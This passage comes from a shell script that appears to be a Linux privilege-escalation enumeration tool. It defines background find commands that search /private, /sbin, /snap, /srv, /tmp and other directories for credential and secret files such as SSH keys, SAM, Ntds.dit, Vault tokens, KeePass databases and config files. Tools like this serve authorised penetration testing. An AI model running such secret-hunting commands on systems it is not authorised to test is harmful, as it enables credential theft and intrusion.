\"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_PRIVATE=`eval_bckgrd "find /private -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"agent*\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"sess_*\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_RUN=`eval_bckgrd "find /run -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SBIN=`eval_bckgrd "find /sbin -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SNAP=`eval_bckgrd "find /snap -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SRV=`eval_bckgrd "find /srv -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SYS=`eval_bckgrd "find /sys -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SYSTEM=`eval_bckgrd "find /system -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SYSTEMD=`eval_bckgrd "find /systemd -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_TMP=`eval_bckgrd "find /tmp -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"agent*\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"sess_*\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
